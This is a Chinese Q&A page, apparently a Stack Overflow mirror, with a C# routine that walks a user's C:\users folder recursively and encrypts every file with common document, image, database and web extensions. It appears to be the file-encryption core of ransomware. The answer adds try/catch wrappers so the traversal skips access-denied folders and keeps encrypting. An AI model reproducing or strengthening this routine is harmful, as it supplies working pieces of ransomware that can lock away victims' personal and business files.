忽略"未经授权的访问" "函数Directory.GetDirectories()"

时间:2017-05-26 11:03:31

标签: c# directory access unauthorized

当我在C:\\users\\<SomeUserName>\\*中扫描目录时 在某些目录中,我无法访问,我搜索了很多如何忽略&#34;未经授权的访问&#34; 现在我需要帮助:/

这是我的代码:

public void encryptDirectory(string location, string password)
{
    //extensions to be encrypt
    var validExtensions = new[]
    {
        ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
    };
    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++)
    {
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
            EncryptFile(files[i], password);
        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
        encryptDirectory(childDirectories[i], password);
    }
}

1 个答案:

答案 0 :(得分:0)

如果您想忽略特定方法抛出的异常,请编写自己的包装器,捕获您想要捕获的异常,并返回一些有用的默认值:

private static string[] GetFilesSafe(string location) {
    try {
        return Directory.GetFiles(location);
    } catch (UnauthorizedAccessException ex) {
        Console.Error.WriteLine(ex.Message);
        return new string[0];
    }
}

Directory.GetDirectories编写一个类似的包装器,并用对包装器的调用替换直接调用。这将隐藏访问问题。